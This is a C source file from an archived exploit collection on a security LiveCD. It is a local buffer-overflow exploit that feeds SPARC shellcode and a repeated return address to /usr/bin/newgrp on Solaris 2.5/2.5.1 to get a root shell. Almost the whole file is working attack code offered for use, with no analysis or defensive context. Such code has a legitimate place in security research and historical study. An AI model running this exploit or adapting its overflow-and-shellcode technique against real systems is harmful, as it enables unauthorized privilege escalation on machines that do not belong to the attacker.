home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / getgrnam.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  1KB  |  44 lines

  1. #include <stdio.h>
  2. #include <sys/types.h>
  3.  
  4. /*
  5.    getgrnam() function overflow.
  6.  
  7.    works against Solaris 2.5/2.5.1 (SPARC)
  8.    default offset should work.
  9.  
  10.    Pablo Sor, Buenos Aires, Argentina.
  11.    psor@afip.gov.ar
  12.  
  13. */
  14.  
  15. u_char shell[] =
  16.   "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
  17.   "\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
  18.   "\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
  19.   "\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
  20.   "\x82\x10\x20\x3b\x91\xd4\xff\xff";
  21.  
  22. u_long get_sp(void)
  23. {
  24.   __asm__("mov %sp,%i0 \n");
  25. }
  26.  
  27. void main()
  28. {
  29.   long *p;
  30.   long addr;
  31.   char buf[8300];
  32.   int i;
  33.  
  34.   addr = get_sp()-8096;
  35.   printf("Jumping to address %p\n",addr);
  36.   p = (long *) buf;
  37.   for (i=0;i<2050;++i) *(p++) = 0xa61cc013;
  38.   for (i=0;i<strlen(shell);++i) buf[104+i] = shell[i];
  39.   p = (long *) &buf[8160];
  40.   for (i=0;i<30;++i) *(p++) = addr;
  41.   buf[8280]=0;
  42.   execl("/usr/bin/newgrp","newgrp",buf,(char *)0);
  43. }
  44. /*                   www.hack.co.za  [13 January 2001]*/